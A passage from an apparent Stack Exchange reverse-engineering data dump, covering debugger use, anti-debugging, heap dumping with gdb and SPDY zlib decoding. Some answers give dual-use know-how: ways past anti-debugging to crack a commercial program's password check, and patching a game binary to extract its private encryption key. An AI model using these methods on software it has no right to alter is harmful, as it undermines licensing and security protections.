yet&#xA;  in detail. So, the question is: Is there a way to analyze the &#xA;  new thread starting at 00401E1D in a separate ollydbg-session ?&#xA;  Is it possible ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2015-03-31T15:55:35.493" Title="Working with multi-threaded program but can not find created thread" Tags="|ollydbg|thread|process|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8608" PostTypeId="2" ParentId="8607" CreationDate="2015-03-31T15:39:22.897" Score="2" Body="&lt;p&gt;In addition to creating the child process, &lt;code&gt;CreateProcess()&lt;/code&gt; also causes the creation of the child process's primary thread. Your post makes it sound like the calls to &lt;code&gt;GetThreadContext()&lt;/code&gt;, &lt;code&gt;SetThreadContext()&lt;/code&gt;, and &lt;code&gt;ResumeThread()&lt;/code&gt; all act on that primary thread.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1st question: Why it is not in the list ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you said in your post, you are seeing the process's main (primary) thread, on which the &lt;code&gt;*Thread*()&lt;/code&gt; API functions above acted. No additional threads are created so you shouldn't expect to see additional threads in OllyDbg's view.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2nd question: How can I find it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;N/A&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to analyze the new thread starting at 00401E1D in a separate ollydbg-session ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes -- check the &quot;Debug child processes&quot; checkbox in OllyDbg's options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GDxO5.png&quot; alt=&quot;OllyDbg&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-31T15:39:22.897" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8611" PostTypeId="1" CreationDate="2015-03-31T20:17:17.593" Score="4" ViewCount="3301" Body="&lt;p&gt;I'm trying to extract a private key used to encrypt communications in a game modification (SA-MP, closed source, runs on Windows), which uses RakNet for it's communications and presumably encryption. Language I'm using is Python, and I would like to automate getting the key, although manual is OK too. I'm a bit stumped on how to continue, though!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As RakNet source is now available on GitHub, the encryption is described here: &lt;a href=&quot;https://github.com/OculusVR/RakNet/blob/master/DependentExtensions/cat/crypt/tunnel/KeyAgreement.hpp#L38&quot; rel=&quot;nofollow&quot;&gt;https://github.com/OculusVR/RakNet/blob/master/DependentExtensions/cat/crypt/tunnel/KeyAgreement.hpp#L38&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm quite sure I can get the challenge (&quot;52A0106B14E27E13&quot; for example, though, what good is that?) with WireShark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried debugging the game with ollydbg, but the game simply crashes if I try to debug when the key is generated. I also tried using CheatEngine to scan the memory, but GTA:SA is such a large game that the program froze after a couple of scans, so I never got any usable results.&lt;/p&gt;&#xA;" OwnerUserId="12123" LastEditorUserId="12123" LastEditDate="2015-03-31T20:25:46.513" LastActivityDate="2015-05-01T10:48:38.260" Title="Extracting a private key from memory" Tags="|windows|c++|memory|executable|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8612" PostTypeId="1" AcceptedAnswerId="8613" CreationDate="2015-03-31T21:08:14.277" Score="3" ViewCount="458" Body="&lt;p&gt;After solving few crackmes I tried to take one step further and move on &quot;real life&quot; reversing tasks, targeting a known win7 program's password check feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program in question obviously doesn't store interesting strings in memory, so I tried another approach, that so far worked well in test-scenarios and in crackmes. The prompt for the password itself uses a simple edit control, so I instantly looked for executable modules -&gt; USER32.dll and found the GetWindowTextW offset (I know it may be using alternative ways to retrieve text, but that was not the problem)&#xA;Setting a breakpoint there and trying to f9-run the program causes it to crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new in reversing and debuggers, and I don't really know what may be causing the issue, or where should I look to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: could this be a good approach for the task ?&lt;/p&gt;&#xA;" OwnerUserId="12124" LastActivityDate="2015-03-31T22:12:22.617" Title="Program crashes after resuming from breakpoint" Tags="|windows|assembly|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8613" PostTypeId="2" ParentId="8612" CreationDate="2015-03-31T22:12:22.617" Score="4" Body="&lt;p&gt;Basically, your approach is a good first approach. Programs used to be easily crackable using it 10 years ago. But times have changed, and many programs try to detect if they are being cracked and implement countermeasures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's lots of things that could be happening. The program might use &lt;code&gt;IsDebuggerPresent()&lt;/code&gt;. It may use other methods to detect a debugger. It might generate a checksum over its own memory and check that against a known value (setting the breakpoint modifies the instruction to &lt;code&gt;INT 3&lt;/code&gt; unless you use a hardware/memory breakpoint, but if you put the breakpoint on a function in &lt;code&gt;user.dll&lt;/code&gt;, you won't change the executable's checksum). The program might check the functions it calls if one of them begins with an &lt;code&gt;INT 3&lt;/code&gt; instruction (but i'd assume this not to be the case for a mere &lt;code&gt;GetWindowTextW&lt;/code&gt;). If the program crashes on a resume F9, not the first run-F9, it might be timing how long checking the password takes, and if it's more than 0.1 seconds, it assumes it was interrupted and crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's literally dozens of possibilities, and you'd have to trace your way through the program to find out which is used - this is where experience kicks in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try if the program works if you just load and run it - if it doesn't, it detects your debugger. There are stealth plugins to ollydbg that you might want to try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A different approach that has sometimes worked for me is running Process Monitor to see where the program accesses its (file or registry-based) registration key; check the stack to see which function is calling that access, and statically analyze the program from there.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-31T22:12:22.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8614" PostTypeId="1" CreationDate="2015-04-01T09:01:49.913" Score="7" ViewCount="2456" Body="&lt;p&gt;I have the following problem. When I open a sample with ollydbg v2.01, then I get that message here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Debugged application has modified the debugging registers. &#xA;Maybe it called ZwContinue() or SetDebugContext(). &#xA;The modifications are saved to the log.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does that mean? How can I fix it? I did not change any options such that I use the default configurations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: &#xA;As I try to describe it in the comments, I can open the same sample in ollydbg v1.10, but not in ollydbg v2.01. I mean, I can open it in v2.01, but it starts at a RETN instruction &amp;amp; process terminated. Now, I have read at &lt;a href=&quot;http://www.ollydbg.de/version2.html&quot;&gt;http://www.ollydbg.de/version2.html&lt;/a&gt; that olly replaces ZwContinue() with the INT3 instruction. I compare the opened sample in v1.10 with the sample in v2.01 and yes, in v1.10 it has a lot of INT3 instructions, but in v2.01 there is INT3.&#xA;As I also said below, I need v2.01 because of the Debug child process option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="2147" LastEditDate="2016-09-16T19:40:15.080" LastActivityDate="2018-06-09T04:46:47.773" Title="&quot;Debugged application has modified the debugging registers&quot; with ollydbg 2.01" Tags="|ollydbg|debugging|debuggers|anti-debugging|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8615" PostTypeId="2" ParentId="8611" CreationDate="2015-04-01T09:26:14.613" Score="1" Body="&lt;p&gt;Making this an answer because the comment history got too long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/OculusVR/RakNet/blob/master/DependentExtensions/cat/src/crypt/tunnel/KeyAgreement.cpp#L109&quot; rel=&quot;nofollow&quot;&gt;source code of the class in question&lt;/a&gt; seems there's one function &lt;code&gt;void GenerateKey(BigTwistedEdwards *math, IRandom *prng, Leg *key)&lt;/code&gt; that creates the key in the &lt;code&gt;Leg&lt;/code&gt; class. I'd assume this is created with key=new Leg somewhere, so it won't be one single address. (In fact, &lt;code&gt;Leg&lt;/code&gt; might be a &lt;code&gt;uint32&lt;/code&gt; or a &lt;code&gt;uint64&lt;/code&gt;, and &lt;code&gt;Leg *key&lt;/code&gt; is a pointer to an array of these integral values).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe, if you find the &lt;code&gt;GenerateKey&lt;/code&gt; function in the binary, you can add a few calls to &lt;code&gt;CreateFile&lt;/code&gt;, &lt;code&gt;WriteFile&lt;/code&gt; and &lt;code&gt;CloseFile&lt;/code&gt; to the end of it to get the key, and maybe the executable detects if a debugger is present, but doesn't detect if the executable itself is modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that &lt;code&gt;KeyAgreement.cpp&lt;/code&gt; is the file that holds the &lt;code&gt;GenerateKey&lt;/code&gt; function. It generates a key until the &lt;code&gt;do .. while&lt;/code&gt; loop finds the key acceptable, so the end of that &lt;code&gt;do .. while&lt;/code&gt; loop is where you want to place your breakpoint (if you can debug the executable) or add a call to a function that writes the key to a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, we need to find the &lt;code&gt;GenerateKey&lt;/code&gt; function in the executable, or in one of its DLLs. You can use any tool that lists DLL exports in the hope that one of your DLLs exports &lt;code&gt;KeyAgreementCommon::GenerateKey&lt;/code&gt;. If you're lucky, you'll find it there, and you're done. &lt;a href=&quot;http://www.dependencywalker.com/&quot; rel=&quot;nofollow&quot;&gt;Dependeny Walker&lt;/a&gt; is a good tool for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the function is compiled into the main .exe, or in a .dll but not exported, it's a bit harder. Fortunately, &lt;code&gt;KeyAgreement.cpp&lt;/code&gt; holds a bunch of nice character arrays with very distinct signatures, which should be unique and easy to find. You could try one of these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add the &lt;code&gt;Q_XXX&lt;/code&gt; arrays to &lt;a href=&quot;http://aluigi.altervista.org/mytoolz.htm&quot; rel=&quot;nofollow&quot;&gt;signsrch&lt;/a&gt; and run it over all .exes and .dlls&lt;/li&gt;&#xA;&lt;li&gt;load your .exe and the .dlls into a &lt;a href=&quot;http://www.wxhexeditor.org/&quot; rel=&quot;nofollow&quot;&gt;hex editor&lt;/a&gt; individually, and run a byte search for the &lt;code&gt;Q_XXX&lt;/code&gt; arrays over them, until you find the correct one.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Next, you want to know where these bytes are used. The easiest way to do this is load the file you found to be the correct one into &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow&quot;&gt;Ida Pro&lt;/a&gt;, find your character array there, and check the XREFs. There should be only one of them, that comes from &lt;code&gt;KeyAgreementCommon::InstantiateMath&lt;/code&gt;. The function after this should be &lt;code&gt;KeyAgreementCommon::GenerateKey&lt;/code&gt;, if your developers didn't change the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they did change the source code, maybe they shuffled around the functions a bit. (And maybe they decided they didn't want to use anything but the 384 bit version, so they threw away the 256 bit and 512 bit arrays. This is why i said search for all 3 of them.) Now we want to find the &lt;code&gt;GenerateKey&lt;/code&gt; function when we only know the &lt;code&gt;InstantiateMath&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, both of them are declared public in the &lt;a href=&quot;https://github.com/OculusVR/RakNet/blob/master/DependentExtensions/cat/crypt/tunnel/KeyAgreement.hpp&quot; rel=&quot;nofollow&quot;&gt;.hpp&lt;/a&gt; file. Which means they should occur in the class vtable somewhere. Check Ida for a data x-reference to the &lt;code&gt;InstatiateMath&lt;/code&gt; function. This should be the vtable entry. The same vtable should hold the addresses of the &lt;code&gt;Initialize&lt;/code&gt; and &lt;code&gt;GenerateKey&lt;/code&gt; function, so check the functions that are referenced next to the &lt;code&gt;InstantiateMath&lt;/code&gt; reference.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-04-01T09:33:38.720" LastActivityDate="2015-04-01T09:33:38.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8616" PostTypeId="1" CreationDate="2015-04-01T13:33:29.350" Score="2" ViewCount="449" Body="&lt;p&gt;I recently posted a &lt;a href=&quot;https://stackoverflow.com/q/27454189/1091116&quot;&gt;StackOverflow bounty&lt;/a&gt; related to figuring out whether it is Wireshark, Firefox or just the data sample that is wrong, judging by the fact that latest Wireshark cannot dissect it. This is a continuation of the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that the bounty linked above is correct, here is the full SYN_STREAM SPDY packet that Wireshark cannot dissect:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;800300010100015500000001000000004000783fe3c6a7c2003b01c4fe00000009000000073a6d6574686f6400000003474554000000053a70617468000000012f000000083a76657273696f6e00000008485454502f312e31000000053a686f73740000000d3139322e3136382e302e313734000000073a736368656d650000000568747470730000000a757365722d6167656e74000000414d6f7a696c6c612f352e30202857696e646f7773204e5420352e313b2072763a33302e3029204765636b6f2f32303130303130312046697265666f782f33302e30000000066163636570740000003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380000000f6163636570742d6c616e67756167650000000e656e2d55532c656e3b713d302e3500000003646e740000000131000000ffff&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;According to Wireshark, the compressed header should start at &quot;783f&quot;. Unfortunately, I cannot decompress it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python&#xA;Python 2.7.8 (default, Nov 10 2014, 08:19:18) &#xA;[GCC 4.9.2 20141101 (Red Hat 4.9.2-1)] on linux2&#xA;Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xA;&amp;gt;&amp;gt;&amp;gt; import zlib&#xA;&amp;gt;&amp;gt;&amp;gt; header = &quot;783fe3c6a7c2003b01c4fe00000009000000073a6d6574686f6400000003474554000000053a70617468000000012f000000083a76657273696f6e00000008485454502f312e31000000053a686f73740000000d3139322e3136382e302e313734000000073a736368656d650000000568747470730000000a757365722d6167656e74000000414d6f7a696c6c612f352e30202857696e646f7773204e5420352e313b2072763a33302e3029204765636b6f2f32303130303130312046697265666f782f33302e30000000066163636570740000003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380000000f6163636570742d6c616e67756167650000000e656e2d55532c656e3b713d302e3500000003646e740000000131000000ffff&quot;.decode('hex')&#xA;&amp;gt;&amp;gt;&amp;gt; zlib.decompress(header)&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;stdin&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;zlib.error: Error 2 while decompressing data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it actually zlib? How can I prove it?&lt;/p&gt;&#xA;" OwnerUserId="4674" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-05-01T14:48:38.943" Title="How to verify if Firefox is actually sending zlib data over SPDY?" Tags="|decompress|https-protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8617" PostTypeId="2" ParentId="8616" CreationDate="2015-04-01T14:20:01.160" Score="2" Body="&lt;p&gt;I managed to decompress it in Python by specifying the decompression dictionary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3&#xA;&#xA;import zlib&#xA;import base64&#xA;&#xA;header = (&quot;783fe3c6a7c2003b01c4fe00000009000000073a6d6574686f&quot;&#xA;&quot;6400000003474554000000053a70617468000000012f000000083a76657273696f6e000000084&quot;&#xA;&quot;85454502f312e31000000053a686f73740000000d3139322e3136382e302e313734000000073a&quot;&#xA;&quot;736368656d650000000568747470730000000a757365722d6167656e74000000414d6f7a696c6&quot;&#xA;&quot;c612f352e30202857696e646f7773204e5420352e313b2072763a33302e3029204765636b6f2f&quot;&#xA;&quot;32303130303130312046697265666f782f33302e30000000066163636570740000003f7465787&quot;&#xA;&quot;42f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f&quot;&#xA;&quot;6e2f786d6c3b713d302e392c2a2f2a3b713d302e380000000f6163636570742d6c616e6775616&quot;&#xA;&quot;7650000000e656e2d55532c656e3b713d302e3500000003646e740000000131000000ffff&quot;)&#xA;&#xA;zdict = base64.b16decode(&quot;000000076F7074696F6E730000000468656164000000&quot;&#xA;&quot;04706F7374000000037075740000000664656C65746500000005747261636500000006&quot;&#xA;&quot;6163636570740000000E6163636570742D636861727365740000000F6163636570742D&quot;&#xA;&quot;656E636F64696E670000000F6163636570742D6C616E67756167650000000D61636365&quot;&#xA;&quot;70742D72616E6765730000000361676500000005616C6C6F770000000D617574686F72&quot;&#xA;&quot;697A6174696F6E0000000D63616368652D636F6E74726F6C0000000A636F6E6E656374&quot;&#xA;&quot;696F6E0000000C636F6E74656E742D6261736500000010636F6E74656E742D656E636F&quot;&#xA;&quot;64696E6700000010636F6E74656E742D6C616E67756167650000000E636F6E74656E74&quot;&#xA;&quot;2D6C656E67746800000010636F6E74656E742D6C6F636174696F6E0000000B636F6E74&quot;&#xA;&quot;656E742D6D64350000000D636F6E74656E742D72616E67650000000C636F6E74656E74&quot;&#xA;&quot;2D74797065000000046461746500000004657461670000000665787065637400000007&quot;&#xA;&quot;657870697265730000000466726F6D00000004686F73740000000869662D6D61746368&quot;&#xA;&quot;0000001169662D6D6F6469666965642D73696E63650000000D69662D6E6F6E652D6D61&quot;&#xA;&quot;7463680000000869662D72616E67650000001369662D756E6D6F6469666965642D7369&quot;&#xA;&quot;6E63650000000D6C6173742D6D6F646966696564000000086C6F636174696F6E000000&quot;&#xA;&quot;0C6D61782D666F72776172647300000006707261676D610000001270726F78792D6175&quot;&#xA;&quot;7468656E7469636174650000001370726F78792D617574686F72697A6174696F6E0000&quot;&#xA;&quot;000572616E676500000007726566657265720000000B72657472792D61667465720000&quot;&#xA;&quot;000673657276657200000002746500000007747261696C6572000000117472616E7366&quot;&#xA;&quot;65722D656E636F64696E6700000007757067726164650000000A757365722D6167656E&quot;&#xA;&quot;74000000047661727900000003766961000000077761726E696E67000000107777772D&quot;&#xA;&quot;61757468656E746963617465000000066D6574686F6400000003676574000000067374&quot;&#xA;&quot;6174757300000006323030204F4B0000000776657273696F6E00000008485454502F31&quot;&#xA;&quot;2E310000000375726C000000067075626C69630000000A7365742D636F6F6B69650000&quot;&#xA;&quot;000A6B6565702D616C697665000000066F726967696E31303031303132303132303232&quot;&#xA;&quot;3035323036333030333032333033333034333035333036333037343032343035343036&quot;&#xA;&quot;3430373430383430393431303431313431323431333431343431353431363431373530&quot;&#xA;&quot;32353034353035323033204E6F6E2D417574686F726974617469766520496E666F726D&quot;&#xA;&quot;6174696F6E323034204E6F20436F6E74656E74333031204D6F766564205065726D616E&quot;&#xA;&quot;656E746C7934303020426164205265717565737434303120556E617574686F72697A65&quot;&#xA;&quot;6434303320466F7262696464656E343034204E6F7420466F756E6435303020496E7465&quot;&#xA;&quot;726E616C20536572766572204572726F72353031204E6F7420496D706C656D656E7465&quot;&#xA;&quot;64353033205365727669636520556E617661696C61626C654A616E20466562204D6172&quot;&#xA;&quot;20417072204D6179204A756E204A756C204175672053657074204F6374204E6F762044&quot;&#xA;&quot;65632030303A30303A3030204D6F6E2C205475652C205765642C205468752C20467269&quot;&#xA;&quot;2C205361742C2053756E2C20474D546368756E6B65642C746578742F68746D6C2C696D&quot;&#xA;&quot;6167652F706E672C696D6167652F6A70672C696D6167652F6769662C6170706C696361&quot;&#xA;&quot;74696F6E2F786D6C2C6170706C69636174696F6E2F7868746D6C2B786D6C2C74657874&quot;&#xA;&quot;2F706C61696E2C746578742F6A6176617363726970742C7075626C6963707269766174&quot;&#xA;&quot;656D61782D6167653D677A69702C6465666C6174652C73646368636861727365743D75&quot;&#xA;&quot;74662D38636861727365743D69736F2D383835392D312C7574662D2C2A2C656E713D30&quot;&#xA;&quot;2E&quot;)&#xA;&#xA;header = base64.b16decode(header.upper())&#xA;&#xA;z = zlib.decompressobj(zdict=zdict)&#xA;print(z.decompress(bytearray(header)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4674" LastActivityDate="2015-04-01T14:20:01.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8619" PostTypeId="1" CreationDate="2015-04-01T19:42:39.980" Score="1" ViewCount="1262" Body="&lt;p&gt;What I am looking to do is programmatically analyze the contents of each processes heap on a system I control. I've been searching for an easily scriptable way to do this with either gdb, or volatility under Linux, and have found no commands that just do this. The purpose is to parse the results for various corruptions / inadvisable practices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do any exist? It seems like something a lot of people might use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I think I would need to chain what I learned from &lt;a href=&quot;https://unix.stackexchange.com/questions/73627/how-to-find-heap-memory-of-a-running-process&quot;&gt;https://unix.stackexchange.com/questions/73627/how-to-find-heap-memory-of-a-running-process&lt;/a&gt; (using /maps to find the heap address) with either volatility of GDB, but I am very surprised that there isn't a command that does this out of the box.  &lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="-1" LastEditDate="2017-04-13T12:37:20.450" LastActivityDate="2015-04-01T20:52:05.697" Title="Can either volatility or GDB dump only the heap memory of a process under Linux?" Tags="|gdb|memory|digital-forensics|heap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8620" PostTypeId="2" ParentId="8619" CreationDate="2015-04-01T20:52:05.697" Score="4" Body="&lt;p&gt;This is so easy to do using nothing but the shell, and probably so specific (since most people want to check more than the heap), that there's probably no real reason to write a command for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for pid in &amp;lt;whatever you need to get a pid list&amp;gt;; do&#xA;    heap=$(fgrep '[heap]' /proc/$pid/maps)&#xA;    addrs=$(echo $heap | cut -d' ' -f1)&#xA;    start=$(echo $addrs | cut -d'-' -f1)&#xA;    end=$(echo $addrs | cut -d'-' -f2)&#xA;    echo &quot;dump binary memory heap.$pid $start $end&quot; | gdb -p$pid&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to have &lt;code&gt;gdb&lt;/code&gt; attach to each process in the list, dump its heap to a file, and detach (implicit as standard input reaches EOF).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can probably use shell builtin substitution to parse the [heap] line a bit better; i learned shell programming when 'shell' meant &lt;code&gt;sh&lt;/code&gt;, not &lt;code&gt;bash&lt;/code&gt; or &lt;code&gt;ksh&lt;/code&gt;, and tend to stick to how to do stuff with the old bourne shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that, when gdb attaches to your process, the process may be in the middle of &lt;code&gt;malloc()&lt;/code&gt; and updating the internal heap structures, which might result in your program returning a false positive 'heap corrupt' result. If this is an issue, append something like &lt;code&gt;break memcpy\ncont\n&lt;/code&gt; in front of the dump command. This will still be a problem if, in a multithreaded program, one thread hits &lt;code&gt;memcpy&lt;/code&gt; while another does a &lt;code&gt;malloc&lt;/code&gt;, and your &lt;code&gt;memcpy&lt;/code&gt; might never be called if the compiler inlines it everywhere, so you might need to get quite fancy here to get a good result.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-04-01T20:52:05.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8622" PostTypeId="1" AcceptedAnswerId="8626" CreationDate="2015-04-02T05:52:07.683" Score="2" ViewCount="751" Body="&lt;p&gt;Yesterday i noticed a nice output from dbg while going through a write up on the internet. As am new to dbg i googled a lot as i wanted to make dbg work similar for me. As seen below this customisation would help me a lot with my work with all the data displayed instantaneously. I tried voltron from the below link but was unable to get it working with many errors. &lt;a href=&quot;https://github.com/snare/voltron&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/snare/voltron&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any extension other than voltron so that i can get the output as shown in the link below? Would editing the .dbginit file help in any way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Pg9JH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/Pg9JH.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="12137" LastEditorUserId="12137" LastEditDate="2015-04-02T06:00:13.140" LastActivityDate="2015-04-02T18:12:18.490" Title="Custom gdb output" Tags="|debuggers|linux|gdb|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8623" PostTypeId="1" AcceptedAnswerId="8624" CreationDate="2015-04-02T06:36:34.460" Score="4" ViewCount="11155" Body="&lt;p&gt;According to what I know :WinDbg uses debugging information (pdb/symbol files) for debugging.So ,for example say I get a unknown exe (malicious) can I debug it since I'll not be having its .pdb. Is WinDbg best suited to analyze memory dumps and crash issues only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ollydbg being a ring 3 debugger is good to analyze/debug malicious exe's but doens't support unknown dlls(there is loaddll but you have to know which function the dll exports and there parameters) and rootkits(sys files).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So If I have a dll and a .sys file how can I debug it using olly or winDbg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:I am a noob I may be wrong in what I know.I don't have the resources to buy IDAPro :-). &lt;/p&gt;&#xA;" OwnerUserId="11879" LastActivityDate="2015-04-02T08:06:32.430" Title="When to use Windbg and Ollydbg?" Tags="|debugging|windbg|vulnerability-analysis|malware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8624" PostTypeId="2" ParentId="8623" CreationDate="2015-04-02T08:00:52.490" Score="6" Body="&lt;p&gt;Even the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;noreferrer&quot;&gt;free version of IDA Pro&lt;/a&gt; is worth having. Finding the general structure of an unknown binary is much easier with it than with anything else. If you have an unknown DLL, it will show you which exports it has, and looking at the assembly code helps you guess the parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases, to debug a .dll, you'll want to write a small program to call several of its exports one after another anyway. You can use ollydbg or windbg to load your .exe and trace through the .dll code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal experience is that in many cases, the best approach would be using IDA first to get an overview over the unknown binary, then use ollydbg or the IDA debugger to trace on the processor instruction level, and only use a high level debugger when i have some symbols to trace on the source code level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have bought IDA and i think the current version of the debugger is much better than the free 5.0 one, so you might want to skip the IDA debugger entirely, but you'll still use it for static analysis. And i tend to use Linux much more than Windows (and if on windows, use IDA or Ollydbg), so i have a lot more experience with gdb than with windbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, each of these tools has its strenghs and weaknesses, and if you seriously want to go into binary analysis, you'll need each of them in the long run. If i were you, i'd invest a day or two into each of them. Once you're comfortable with them, you'll find you'll use each of them depending depending on your specific situation.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-04-02T08:00:52.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8625" PostTypeId="2" ParentId="8623" CreationDate="2015-04-02T08:06:32.430" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;WinDbg uses debugging information (pdb/symbol files) for debugging. So ,for example say I get a unknown exe (malicious) can I debug it since I'll not be having its .pdb&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. Symbols are one of Windbg's main strength, but it can also debug anything &lt;strong&gt;without&lt;/strong&gt; symbolic information.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is WinDbg best suited to analyze memory dumps and crash issues only?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once again, it can do that, but that's not its sole use.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ollydbg being a ring 3 debugger is good to analyze/debug malicious&#xA;  exe's but doens't support unknown dlls(there is loaddll but you have&#xA;  to know which function the dll exports and there parameters)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you need to analyse a DLL, you'll need a program to load it and then debug this program, thus you can't debug a DLL by itself (DLLs, as their name imply are dynamic libraries used by a main program). That's a system requirement.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and rootkits(sys 